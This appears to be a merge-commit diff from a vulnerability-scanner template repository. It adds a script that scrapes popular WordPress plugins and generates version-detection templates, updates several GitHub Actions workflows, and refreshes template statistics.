Merge pull request #6930 from projectdiscovery/CVE-2020-16846

Update CVE-2020-16846.yaml

.github/scripts/wordpress-plugins-update-requirements.txt

@@ -0,0 +1,10 @@
+beautifulsoup4==4.11.1
+bs4==0.0.1
+certifi==2022.9.24
+charset-normalizer==2.1.1
+idna==3.4
+Markdown==3.4.1
+requests==2.28.1
+soupsieve==2.3.2.post1
+termcolor==2.1.1
+urllib3==1.26.13

.github/scripts/wordpress-plugins-update.py

@@ -0,0 +1,185 @@
+#!/usr/bin/env python3
+
+'''
+This script reads the URL https://wordpress.org/plugins/browse/popular/ until page 10, extract each plugin name and namespace,
+then in http://plugins.svn.wordpress.org/ website, looks for the "Stable tag" inside the readme.txt and extract the last version
+number from trunk branch. Finally generates a template and a payload file with last version number to be used during scan that
+compares the detect version with the payload version.
+
+The generated template also includes the tags top-100 and top-200 allowing filtering.
+
+e.g.
+nuclei -t technologies/wordpress/plugins -tags top-100 -u https://www.example.com
+'''
+
+__author__ = "ricardomaia"
+
+from time import sleep
+from bs4 import BeautifulSoup
+import requests
+import re
+from markdown import markdown
+import os
+from termcolor import colored, cprint
+
+# Regex to extract the name of th plugin from the URL
+regex = r"https://wordpress.org/plugins/(\w.+)/"
+
+ranking = 1
+
+# Top 200 Wordpress Plugins
+for page_number in range(1, 11):
+
+    html = requests.get(url=f"https://wordpress.org/plugins/browse/popular/page/{page_number}", headers={
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
+        "Accept-Language": "en-US,en;q=0.9",
+        "Accept-Encoding": "gzip, deflate",
+        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+        "Connection": "keep-alive",
+        "Upgrade-Insecure-Requests": "1",
+        "Cache-Control": "max-age=0",
+        "Pragma": "no-cache",
+    }).content
+
+    # Parse HTML
+    soup = BeautifulSoup(html, 'html.parser')
+    results = soup.find(id="main")
+    articles = results.find_all("article", class_="plugin-card")
+
+    # Setting the top tag
+    top_tag = "top-100,top-200" if page_number <= 5 else "top-200"
+
+    # Get each plugin in the page
+    for article in articles:
+
+        full_title = article.find("h3", class_="entry-title").get_text()
+        regex_remove_quotes = r"[\"`:]"
+        subst_remove_quotes = "'"
+        title = re.sub(regex_remove_quotes, subst_remove_quotes, full_title)
+
+        link = article.find("a").get("href")
+        name = re.search(regex, link).group(1)
+
+        cprint(f"Title: {title}", "cyan")
+        cprint(f"Link: {link}", "yellow")
+        cprint(f"Name: {name} - Ranking: {ranking}", "green")
+        print(f"Page Number: {page_number}")
+        print(f"Top Tag: {top_tag}")
+        print(f"http://plugins.svn.wordpress.org/{name}/trunk/readme.txt")
+        ranking += 1
+
+        sleep(0.2)
+
+        # Get the readme.txt file from SVN
+        readme = requests.get(
+            url=f"http://plugins.svn.wordpress.org/{name}/trunk/readme.txt",
+            headers={
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36",
+                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+                "Accept-Encoding": "gzip, deflate",
+                "Accept-Language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,es;q=0.6",
+                "Cache-Control": "no-cache",
+                "Connection": "keep-alive",
+                "Host": "plugins.svn.wordpress.org",
+                "Pragma": "no-cache",
+                "Upgrade-Insecure-Requests": "1",
+                "Referer": "http://plugins.svn.wordpress.org/{name}/trunk/"}).content
+
+        # Extract the plugin version
+        try:
+            version = re.search(r"(?i)Stable.tag:\s+([\w.]+)",
+                                readme.decode("utf-8")).group(1)
+        except:
+            version = "N/A"
+
+        # Extract the plugin description
+        try:
+            description_markdown = re.search(
+                r"(?i)==.Description.==\W+\n?(.*)", readme.decode("utf-8")).group(1)
+            html = markdown(description_markdown)
+            full_description = BeautifulSoup(html, 'html.parser').get_text()
+            regex_max_length = r"(\b.{80}\b)"
+            subst_max_lenght = "\\g<1>\\n    "
+            description = re.sub(
+                regex_max_length, subst_max_lenght, full_description, 0, re.MULTILINE)
+        except:
+            description = "N/A"
+
+        print(f"Version: {version}")
+        print(f"Description: {description}")
+
+        # Write the plugin template to file
+        template = f'''id: wordpress-{name}
+
+info:
+  name: {title} Detection
+  author: ricardomaia
+  severity: info
+  reference:
+    - https://wordpress.org/plugins/{name}/
+  metadata:
+    plugin_namespace: {name}
+    wpscan: https://wpscan.com/plugin/{name}
+  tags: tech,wordpress,wp-plugin,{top_tag}
+
+requests:
+  - method: GET
+
+    path:
+      - "{{{{BaseURL}}}}/wp-content/plugins/{name}/readme.txt"
+
+    payloads:
+      last_version: helpers/wordpress/plugins/{name}.txt
+
+    extractors:
+      - type: regex
+        part: body
+        internal: true
+        name: internal_detected_version
+        group: 1
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+
+      - type: regex
+        part: body
+        name: detected_version
+        group: 1
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+
+    matchers-condition: or
+    matchers:
+      - type: dsl
+        name: "outdated_version"
+        dsl:
+          - compare_versions(internal_detected_version, concat("< ", last_version))
+
+      - type: regex
+        part: body
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+'''
+
+        work_dir = os.getcwd()
+        print(f"Current working directory: {work_dir}")
+        helper_dir = f"{work_dir}/helpers/wordpress/plugins"
+        template_dir = f"{work_dir}/technologies/wordpress/plugins"
+
+        if not os.path.exists(helper_dir):
+            os.makedirs(helper_dir)
+
+        if not os.path.exists(template_dir):
+            os.makedirs(template_dir)
+
+        helper_path = f"helpers/wordpress/plugins/{name}.txt"
+        version_file = open(helper_path, "w")
+        version_file.write(version)
+        version_file.close()
+
+        template_path = f"technologies/wordpress/plugins/{name}.yaml"
+        template_file = open(template_path, "w")  # Dev environment
+        template_file.write(template)
+        template_file.close()
+
+        print("--------------------------------------------")
+        print("\n")

.github/workflows/cve-annotate.yml

@@ -15,12 +15,12 @@ jobs:
       - name: Get Github tag
         id: meta
         run: |
-          echo "::set-output name=tag::$(curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name)"
+          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT
 
       - name: Setup CVE annotate
-        if: steps.meta.outputs.tag != ''
+        if: steps.meta.outputs.TAG != ''
         env:
-          VERSION: ${{ steps.meta.outputs.tag }}
+          VERSION: ${{ steps.meta.outputs.TAG }}
         run: |
           wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/cve-annotate.zip
           sudo unzip cve-annotate.zip -d /usr/local/bin
@@ -30,10 +30,10 @@ jobs:
         id: cve-annotate
         run: |
           cve-annotate -i . -d .
-          echo "::set-output name=changes::$(git status -s | wc -l)"
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
 
       - name: Commit files
-        if: steps.cve-annotate.outputs.changes > 0
+        if: steps.cve-annotate.outputs.CHANGES > 0
         run: |
           git config --local user.email "[email protected]"
           git config --local user.name "GitHub Action"
@@ -42,7 +42,7 @@ jobs:
           git commit -m "Auto Generated CVE annotations [$(date)] :robot:" -a
 
       - name: Push changes
-        if: steps.cve-annotate.outputs.changes > 0
+        if: steps.cve-annotate.outputs.CHANGES > 0
         uses: ad-m/github-push-action@master
         with:
           github_token: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/readme-update.yml

@@ -30,17 +30,17 @@ jobs:
         id: readme-update
         run: |
           python .github/scripts/update-readme.py
-          echo "::set-output name=changes::$(git status -s | wc -l)"
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
 
       - name: Commit files
-        if: steps.readme-update.outputs.changes > 0
+        if: steps.readme-update.outputs.CHANGES > 0
         run: |
           git config --local user.email "[email protected]"
           git config --local user.name "GitHub Action"
           git commit -m "Auto README Update [$(date)] :robot:" -a
 
       - name: Push changes
-        if: steps.readme-update.outputs.changes > 0
+        if: steps.readme-update.outputs.CHANGES > 0
         uses: ad-m/github-push-action@master
         with:
           github_token: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/template-checksum.yml

@@ -0,0 +1,38 @@
+name: 📝 Template Checksum
+
+on:
+  push:
+    tags:
+      - '*'
+  workflow_dispatch:
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@master
+      - uses: actions/setup-go@v2
+        with: 
+          go-version: 1.18
+
+      - name: install checksum generator
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v2/cmd/generate-checksum@dev
+
+      - name: generate checksum
+        run: |
+          generate-checksum /home/runner/work/nuclei-templates/nuclei-templates/ templates-checksum.txt
+
+      - name: Commit files
+        run: |
+          git pull
+          git add templates-checksum.txt
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Generated Templates Checksum [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: master

.github/workflows/template-db-indexer.yml

@@ -14,7 +14,7 @@ jobs:
         with:
           go-version: 1.17
 
-      - name: Intalling Indexer
+      - name: Installing Indexer
         run: |
           git config --global url."https://${{ secrets.ACCESS_TOKEN }}@github".insteadOf https://github
           git clone https://github.com/projectdiscovery/nucleish-api.git
@@ -26,4 +26,4 @@ jobs:
           AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
           AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
         run: |
-          generate-index -mode templates
+          generate-index -mode templates

.github/workflows/template-validate.yml

@@ -11,12 +11,12 @@ jobs:
       - name: Get Github tag
         id: meta
         run: |
-          echo "::set-output name=tag::$(curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name)"
+          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT
 
       - name: Setup Nuclei
-        if: steps.meta.outputs.tag != ''
+        if: steps.meta.outputs.TAG != ''
         env:
-          VERSION: ${{ steps.meta.outputs.tag }}
+          VERSION: ${{ steps.meta.outputs.TAG }}
         run: |
           wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/nuclei_${VERSION:1}_linux_amd64.zip
           sudo unzip nuclei*.zip -d /usr/local/bin

.github/workflows/templates-stats.yml

@@ -13,7 +13,7 @@ jobs:
       - uses: actions/checkout@master
       - uses: actions/setup-go@v2
         with: 
-          go-version: 1.17
+          go-version: 1.18
 
       - name: Installing Template Stats
         run: |
@@ -37,10 +37,10 @@ jobs:
 
       - name: Get statistical changes
         id: stats
-        run: echo "::set-output name=changes::$(git status -s | wc -l)"
+        run: git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
 
       - name: Commit files
-        if: steps.stats.outputs.changes > 0
+        if: steps.stats.outputs.CHANGES > 0
         run: |
           git add TEMPLATES-STATS.*
           git add TOP-10.md

.github/workflows/wordpress-plugins-update.yml

@@ -0,0 +1,43 @@
+name: ✨ WordPress Plugins - Update
+on:
+  schedule:
+    - cron: "0 4 * * *" # every day at 4am UTC
+  workflow_dispatch:
+jobs:
+  Update:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Check out repository code
+        uses: actions/checkout@v3
+        with:
+          persist-credentials: false # otherwise, the token used is the GITHUB_TOKEN, instead of your personal token
+          fetch-depth: 0 # otherwise, you will failed to push refs to dest repo
+
+      - name: Install Python3
+        uses: actions/setup-python@v4
+        with:
+          python-version: "3.10"
+      - run: |
+          python -m pip install --upgrade pip
+          pip install -r .github/scripts/wordpress-plugins-update-requirements.txt
+
+      - name: Update Templates
+        id: update-templates
+        run: |
+          python3 .github/scripts/wordpress-plugins-update.py
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
+
+      - name: Commit files
+        if: steps.update-templates.outputs.CHANGES > 0
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git add --all
+          git commit -m "Auto WordPress Plugins Update [$(date)] :robot:"
+
+      - name: Push changes
+        if: steps.update-templates.outputs.CHANGES > 0
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}

.new-additions

@@ -1,100 +0,0 @@
-cves/2022/CVE-2022-0147.yaml
-cves/2022/CVE-2022-1007.yaml
-cves/2022/CVE-2022-1057.yaml
-cves/2022/CVE-2022-2863.yaml
-cves/2022/CVE-2022-40879.yaml
-cves/2022/CVE-2022-41840.yaml
-cves/2022/CVE-2022-43014.yaml
-cves/2022/CVE-2022-43015.yaml
-cves/2022/CVE-2022-43016.yaml
-cves/2022/CVE-2022-43017.yaml
-cves/2022/CVE-2022-43018.yaml
-default-logins/others/opencats-default-login.yaml
-default-logins/ruckus-wireless-default-login.yaml
-default-logins/steve-default-login.yaml
-exposed-panels/acunetix-login.yaml
-exposed-panels/beego-admin-dashboard.yaml
-exposed-panels/code-server-login.yaml
-exposed-panels/git-repository-browser.yaml
-exposed-panels/gitblit-panel.yaml
-exposed-panels/kubernetes-web-view.yaml
-exposed-panels/liferay-portal.yaml
-exposed-panels/linkerd-panel.yaml
-exposed-panels/logitech-harmony-portal.yaml
-exposed-panels/maestro-login-panel.yaml
-exposed-panels/mcloud-panel.yaml
-exposed-panels/opencats-panel.yaml
-exposed-panels/openfire-admin-panel.yaml
-exposed-panels/opennebula-panel.yaml
-exposed-panels/openshift-installer-panel.yaml
-exposed-panels/openvpn-admin.yaml
-exposed-panels/openvpn-connect.yaml
-exposed-panels/openvpn-router-management.yaml
-exposed-panels/plesk-onyx-login.yaml
-exposed-panels/steve-login-panel.yaml
-exposed-panels/superset-login.yaml
-exposed-panels/temenos-t24-login.yaml
-exposed-panels/turnkey-openvpn.yaml
-exposed-panels/vertex-tax-installer-panel.yaml
-exposed-panels/xeams-admin-console.yaml
-exposures/configs/rackup-config-ru.yaml
-exposures/configs/rubocop-config.yaml
-exposures/files/cargo-lock-package.yaml
-exposures/files/cargo-toml-file.yaml
-exposures/files/db-xml-file.yaml
-misconfiguration/awstats-listing.yaml
-misconfiguration/cadvisor-exposure.yaml
-misconfiguration/dokuwiki-installer.yaml
-misconfiguration/express-stack-trace.yaml
-misconfiguration/gitea-installer.yaml
-misconfiguration/installer/bagisto-installer.yaml
-misconfiguration/installer/binom-installer.yaml
-misconfiguration/installer/blesta-installer.yaml
-misconfiguration/installer/cloudcenter-Installer.yaml
-misconfiguration/installer/codeigniter-installer.yaml
-misconfiguration/installer/contentify-installer.yaml
-misconfiguration/installer/discourse-installer.yaml
-misconfiguration/installer/eshop-installer.yaml
-misconfiguration/installer/facturascripts-installer.yaml
-misconfiguration/installer/geniusocean-installer.yaml
-misconfiguration/installer/lmszai-installer.yaml
-misconfiguration/installer/lychee-installer.yaml
-misconfiguration/installer/pagekit-installer.yaml
-misconfiguration/installer/permissions-installer.yaml
-misconfiguration/installer/phpwind-installer.yaml
-misconfiguration/installer/seoking-shopify-app.yaml
-misconfiguration/installer/smf-installer.yaml
-misconfiguration/installer/sumowebtools-installer.yaml
-misconfiguration/installer/turbo-website-installer.yaml
-misconfiguration/installer/webasyst-installer.yaml
-misconfiguration/installer/webuzo-installer.yaml
-misconfiguration/joomla-installer.yaml
-misconfiguration/limesurvey-installer.yaml
-misconfiguration/magento-installer.yaml
-misconfiguration/matomo-installer.yaml
-misconfiguration/mautic-installer.yaml
-misconfiguration/nginx/nginx-auto-installer.yaml
-misconfiguration/nodebb-installer.yaml
-misconfiguration/nopcommerce-installer.yaml
-misconfiguration/opensis-installer.yaml
-misconfiguration/owncloud-installer-exposure.yaml
-misconfiguration/phpbb-installer.yaml
-misconfiguration/piwik-installer.yaml
-misconfiguration/prestashop-installer.yaml
-misconfiguration/processwire-installer.yaml
-misconfiguration/redash-installer.yaml
-misconfiguration/server-monitor-installer.yaml
-misconfiguration/springboot/springboot-conditions.yaml
-misconfiguration/suitecrm-installer.yaml
-misconfiguration/tiny-rss-installer.yaml
-misconfiguration/typo3-installer.yaml
-misconfiguration/umbraco-installer.yaml
-misconfiguration/vtiger-installer.yaml
-network/clamav-unauth.yaml
-network/detection/clamav-detect.yaml
-network/detection/sshd-dropbear-detect.yaml
-network/detection/vmware-authentication-daemon-detect.yaml
-network/niagara-fox-protocol-enum.yaml
-technologies/express-default-page.yaml
-token-spray/api-nytimes.yaml
-vulnerabilities/other/steve-xss.yaml

.nuclei-ignore

@@ -27,6 +27,7 @@ files:
   - cves/2007/CVE-2007-5728.yaml
   - cves/2014/CVE-2014-9608.yaml
   - cves/2018/CVE-2018-5233.yaml
+  - cves/2019/CVE-2019-14696.yaml
   - cves/2020/CVE-2020-11930.yaml
   - cves/2020/CVE-2020-19295.yaml
   - cves/2020/CVE-2020-2036.yaml

README.md

@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1493 | daffainfo     |   650 | cves             |  1471 | info     |  1551 | http    |  4036 |
-| panel     |   697 | dhiyaneshdk   |   636 | exposed-panels   |   703 | high     |  1076 | file    |    77 |
-| edb       |   574 | pikpikcu      |   338 | vulnerabilities  |   517 | medium   |   794 | network |    58 |
-| xss       |   516 | pdteam        |   273 | technologies     |   299 | critical |   530 | dns     |    17 |
-| lfi       |   515 | geeknik       |   196 | exposures        |   294 | low      |   236 |         |       |
-| wordpress |   448 | dwisiswant0   |   170 | misconfiguration |   257 | unknown  |    16 |         |       |
-| exposure  |   445 | 0x_akoko      |   167 | token-spray      |   234 |          |       |         |       |
-| cve2021   |   363 | princechaddha |   151 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   343 | pussycat0x    |   142 | default-logins   |   107 |          |       |         |       |
-| rce       |   342 | ritikchaddha  |   138 | file             |    77 |          |       |         |       |
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
 
-**305 directories, 4422 files**.
+**335 directories, 5229 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1493},{"name":"panel","count":697},{"name":"edb","count":574},{"name":"xss","count":516},{"name":"lfi","count":515},{"name":"wordpress","count":448},{"name":"exposure","count":445},{"name":"cve2021","count":363},{"name":"wp-plugin","count":343},{"name":"rce","count":342},{"name":"tech","count":312},{"name":"packetstorm","count":289},{"name":"wpscan","count":236},{"name":"token-spray","count":234},{"name":"cve2022","count":225},{"name":"cve2020","count":217},{"name":"","count":195},{"name":"unauth","count":176},{"name":"kev","count":167},{"name":"wp","count":164},{"name":"config","count":159},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":134},{"name":"misconfig","count":131},{"name":"oast","count":127},{"name":"apache","count":124},{"name":"default-login","count":123},{"name":"iot","count":118},{"name":"cve2010","count":111},{"name":"authenticated","count":107},{"name":"sqli","count":106},{"name":"redirect","count":89},{"name":"login","count":87},{"name":"router","count":87},{"name":"files","count":84},{"name":"devops","count":75},{"name":"takeover","count":74},{"name":"token","count":73},{"name":"ssrf","count":72},{"name":"cve2017","count":70},{"name":"cms","count":66},{"name":"file","count":63},{"name":"auth-bypass","count":63},{"name":"oracle","count":62},{"name":"network","count":62},{"name":"intrusive","count":58},{"name":"disclosure","count":54},{"name":"seclists","count":54},{"name":"cve2016","count":49},{"name":"cve2015","count":47},{"name":"cisco","count":47},{"name":"fileupload","count":47},{"name":"google","count":47},{"name":"adobe","count":45},{"name":"oss","count":42},{"name":"cve2014","count":41},{"name":"plugin","count":41},{"name":"aem","count":41},{"name":"vulhub","count":38},{"name":"atlassian","count":37},{"name":"vmware","count":37},{"name":"logs","count":36},{"name":"tenable","count":35},{"name":"traversal","count":35},{"name":"springboot","count":34},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"hackerone","count":32},{"name":"listing","count":31},{"name":"generic","count":28},{"name":"huntr","count":28},{"name":"dns","count":27},{"name":"kubernetes","count":27},{"name":"log4j","count":26},{"name":"sap","count":25},{"name":"cnvd","count":25},{"name":"microsoft","count":24},{"name":"proxy","count":23},{"name":"jndi","count":23},{"name":"debug","count":22},{"name":"misc","count":22},{"name":"wp-theme","count":21},{"name":"aws","count":21},{"name":"manageengine","count":21},{"name":"zoho","count":21},{"name":"fuzz","count":21},{"name":"php","count":21},{"name":"cve2012","count":20},{"name":"weblogic","count":20},{"name":"cicd","count":19},{"name":"deserialization","count":19},{"name":"api","count":19},{"name":"camera","count":19},{"name":"tomcat","count":19},{"name":"dlink","count":18},{"name":"k8s","count":18},{"name":"ibm","count":18},{"name":"service","count":18},{"name":"cloud","count":18},{"name":"jenkins","count":17},{"name":"firewall","count":17},{"name":"ftp","count":17},{"name":"wavlink","count":17},{"name":"struts","count":16},{"name":"cve2009","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"gitlab","count":15},{"name":"android","count":14},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"msf","count":14},{"name":"hp","count":14},{"name":"fortinet","count":14},{"name":"printer","count":14},{"name":"status","count":13},{"name":"abstractapi","count":13},{"name":"ruijie","count":13},{"name":"lfr","count":13},{"name":"glpi","count":13},{"name":"cve2013","count":13},{"name":"woocommerce","count":13},{"name":"confluence","count":12},{"name":"magento","count":12},{"name":"netsweeper","count":12},{"name":"netgear","count":12},{"name":"nginx","count":12},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"rails","count":12},{"name":"graphql","count":12},{"name":"amazon","count":12},{"name":"ssl","count":11},{"name":"airflow","count":11},{"name":"cisa","count":11},{"name":"webserver","count":11},{"name":"fortigate","count":11},{"name":"backup","count":11},{"name":"cve2008","count":11},{"name":"azure","count":11},{"name":"backdoor","count":11},{"name":"cnvd2021","count":11},{"name":"coldfusion","count":10},{"name":"grafana","count":10},{"name":"laravel","count":10},{"name":"dell","count":10},{"name":"github","count":10},{"name":"jolokia","count":10},{"name":"django","count":10},{"name":"zyxel","count":10},{"name":"spring","count":10},{"name":"fastjson","count":9},{"name":"prometheus","count":9},{"name":"dedecms","count":9},{"name":"windows","count":9},{"name":"ssti","count":9},{"name":"iis","count":9},{"name":"vcenter","count":9},{"name":"zimbra","count":9},{"name":"kube","count":9},{"name":"auth","count":9},{"name":"zabbix","count":9},{"name":"mirai","count":9},{"name":"phpmyadmin","count":9},{"name":"sonicwall","count":9},{"name":"ruby","count":9},{"name":"wso2","count":9},{"name":"recon","count":8},{"name":"cisco-switch","countLine truncated
+{"tags":[{"name":"cve","count":1552},{"name":"panel","count":780},{"name":"edb","count":582},{"name":"exposure","count":551},{"name":"xss","count":543},{"name":"lfi","count":519},{"name":"wordpress","count":471},{"name":"cve2021","count":370},{"name":"wp-plugin","count":366},{"name":"tech","count":360},{"name":"rce","count":347},{"name":"packetstorm","count":292},{"name":"cve2022","count":266},{"name":"wpscan","count":256},{"name":"token-spray","count":236},{"name":"misconfig","count":228},{"name":"cve2020","count":224},{"name":"","count":195},{"name":"unauth","count":194},{"name":"wp","count":188},{"name":"kev","count":168},{"name":"config","count":167},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"default-login","count":133},{"name":"apache","count":127},{"name":"oast","count":127},{"name":"iot","count":125},{"name":"authenticated","count":121},{"name":"sqli","count":118},{"name":"cve2010","count":111},{"name":"files","count":92},{"name":"router","count":92},{"name":"redirect","count":90},{"name":"login","count":89},{"name":"network","count":81},{"name":"takeover","count":75},{"name":"devops","count":75},{"name":"token","count":74},{"name":"ssrf","count":72},{"name":"cve2017","count":71},{"name":"cms","count":67},{"name":"auth-bypass","count":66},{"name":"file","count":65},{"name":"oracle","count":63},{"name":"intrusive","count":60},{"name":"install","count":59},{"name":"disclosure","count":57},{"name":"seclists","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":39},{"name":"vmware","count":38},{"name":"vulhub","count":38},{"name":"logs","count":38},{"name":"atlassian","count":38},{"name":"debug","count":37},{"name":"tenable","count":36},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"huntr","count":31},{"name":"listing","count":31},{"name":"kubernetes","count":30},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"cnvd","count":25},{"name":"sap","count":25},{"name":"microsoft","count":25},{"name":"misc","count":23},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"aws","count":23},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"api","count":21},{"name":"zoho","count":21},{"name":"manageengine","count":21},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"cloud","count":20},{"name":"weblogic","count":20},{"name":"tomcat","count":19},{"name":"k8s","count":19},{"name":"camera","count":19},{"name":"ibm","count":19},{"name":"cicd","count":19},{"name":"deserialization","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"struts","count":17},{"name":"ftp","count":16},{"name":"printer","count":16},{"name":"nginx","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"fortinet","count":15},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"confluence","count":13},{"name":"woocommerce","count":13},{"name":"cve2008","count":13},{"name":"status","count":13},{"name":"msf","count":13},{"name":"amazon","count":13},{"name":"abstractapi","count":13},{"name":"cve2013","count":13},{"name":"lfr","count":13},{"name":"magento","count":13},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"github","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"fortigate","count":12},{"name":"vpn","count":12},{"name":"backup","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"webserver","count":11},{"name":"zyxel","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cnvd2021","count":11},{"name":"backdoor","count":11},{"name":"mail","count":11},{"name":"cisa","count":11},{"name":"airflow","count":11},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"git","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"glpi","count":10},{"name":"ruby","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"ssti","count":9},{"name":"fastjson","count":9},{"name":"kube","count":9},{"name":"phpmyadmin","count":9},{"name":"prometheus","count":9},{"name":"windows","count":9},{"name":"ssh","count":9},{"name":"zimbra","count":9},{"name":"versa","count":9},{"name":"vcenter","count":9},{"name":"sonicwall","count":9},{"name":"dedecms","count":9},{"name":"iis","count":9},{Line truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1493 | daffainfo     |   650 | cves             |  1471 | info     |  1551 | http    |  4036 |
-| panel     |   697 | dhiyaneshdk   |   636 | exposed-panels   |   703 | high     |  1076 | file    |    77 |
-| edb       |   574 | pikpikcu      |   338 | vulnerabilities  |   517 | medium   |   794 | network |    58 |
-| xss       |   516 | pdteam        |   273 | technologies     |   299 | critical |   530 | dns     |    17 |
-| lfi       |   515 | geeknik       |   196 | exposures        |   294 | low      |   236 |         |       |
-| wordpress |   448 | dwisiswant0   |   170 | misconfiguration |   257 | unknown  |    16 |         |       |
-| exposure  |   445 | 0x_akoko      |   167 | token-spray      |   234 |          |       |         |       |
-| cve2021   |   363 | princechaddha |   151 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   343 | pussycat0x    |   142 | default-logins   |   107 |          |       |         |       |
-| rce       |   342 | ritikchaddha  |   138 | file             |    77 |          |       |         |       |
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
